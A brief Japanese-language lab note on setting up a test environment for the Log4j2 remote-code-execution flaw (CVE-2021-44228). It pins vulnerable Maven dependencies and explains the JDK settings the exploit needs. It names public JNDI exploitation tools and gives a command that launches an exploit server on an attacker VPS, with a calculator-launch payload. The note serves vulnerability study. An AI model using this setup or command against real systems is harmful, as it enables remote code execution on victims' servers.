
Apache Log4j2 RCE( CVE-2021-44228)検証環境
2021年12月9日以降
https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg
mavenで関連パッケージと脆弱性のあるバージョン範囲を導入
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>


JDKのバージョンに関係あり、JDK 11.0.1、8u191、7u201、6u211以降では手動でtrustURLCodebaseをtrueに設定する必要があります
詳細な学習についてはこちらを参照 https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/
利用方法は、jndiインジェクションツールと組み合わせることができる。例: JNDI-Injection-Exploit、fastjson_rce_tool、JNDIExploit
また、ツールと組み合わせて、公開されている複数のリターン方式やメモリシェル注入方式を実現できる
#
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app" -A your_vps_ip

TODO
